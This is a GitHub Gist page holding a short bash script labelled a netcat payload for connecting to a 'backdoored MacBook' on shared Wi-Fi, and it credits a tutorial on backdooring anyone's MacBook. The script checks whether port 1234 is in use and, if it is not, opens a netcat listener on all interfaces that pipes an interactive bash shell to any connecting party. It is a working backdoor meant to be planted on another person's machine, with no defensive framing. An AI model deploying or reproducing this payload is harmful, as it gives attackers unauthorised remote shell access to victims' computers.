Skip to content

Instantly share code, notes, and snippets.

@fredsiika
Created November 30, 2018 14:52
Show Gist options
  • Save fredsiika/87f23fc19c546969ed4ae5004d51545a to your computer and use it in GitHub Desktop.
Save fredsiika/87f23fc19c546969ed4ae5004d51545a to your computer and use it in GitHub Desktop.
Netcat Payload: connect to the backdoored MacBook on a shared Wi-Fi network. source: https://null-byte.wonderhowto.com/how-to/hacking-macos-configure-backdoor-anyones-macbook-0184637/
#!/bin/bash
n=$(ps aux | grep -o [1]234)
if [[ $n = "" ]]; then
mkfifo f
nc -l 0.0.0.0 1234 < f | /bin/bash -i > f 2>&1
fi
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment